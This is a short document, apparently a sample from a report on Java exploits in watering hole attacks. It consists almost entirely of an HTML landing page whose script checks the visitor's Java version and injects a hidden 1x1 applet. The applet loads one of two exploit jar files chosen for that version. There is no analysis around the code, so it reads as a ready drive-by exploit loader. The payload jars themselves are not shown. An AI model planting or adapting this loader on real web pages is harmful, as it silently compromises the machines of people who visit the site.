Java exploits in watering hole attacks

<html>
<body>
<script src="deployJava.js"></script>
<script>
jres = deployJava.getJREs();
if(jres.length==0)
{
}
else if(jres[0].indexOf('1.7')!= -1)
{
var emb = document.createElement('applet');
emb.setAttribute('name', 'applet');
emb.setAttribute('width', '1');
emb.setAttribute('height', '1');
emb.setAttribute('code', 'Eeeloit.class');
emb.setAttribute('archive', 'AppletHigh.jar');
document.body.appendChild(emb);
}
else
{
var emb = document.createElement('applet');
emb.setAttribute('name', 'applet');
emb.setAttribute('width', '1');
emb.setAttribute('height', '1');
emb.setAttribute('code', 'Func1.class');
emb.setAttribute('archive', 'AppletLow.jar');
document.body.appendChild(emb);
}
</script>
</body>
</html>